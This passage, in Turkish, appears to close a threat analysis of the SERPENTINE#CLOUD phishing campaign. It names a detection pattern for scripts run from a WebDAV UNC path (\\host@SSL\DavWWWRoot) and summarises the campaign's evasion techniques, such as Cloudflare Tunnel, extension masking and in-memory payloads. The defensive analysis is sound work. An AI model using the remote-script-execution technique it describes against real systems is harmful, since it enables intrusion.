Son olarak, WebDAV UNC path üzerinden script çalıştırılması (\\host@SSL\DavWWWRoot) normal kullanıcı aktivitesinde neredeyse hiç karşılaşılmayan bir davranıştır. Bu erişimlerin hem network hem endpoint tarafında korelasyonlanması, tespit kalitesini önemli ölçüde artıracaktır.
Sonuç
SERPENTINE#CLOUD, sıradan bir phishing girişiminden çok daha katmanlı bir saldırı zinciri sergilemiştir. Saldırganlar; Cloudflare Tunnel, uzantı maskeleme, bellekte çalışan payload ve çok aşamalı obfuscation gibi teknikleri bir arada kullanarak hem tespiti hem de analizi zorlaştırmayı başarmıştır.
Zincirin başlangıç noktasının hâlâ kullanıcı etkileşimine dayanması, teknik karmaşıklığa rağmen temel güvenlik önlemlerinin belirleyici olduğunu bir kez daha ortaya koymaktadır.






















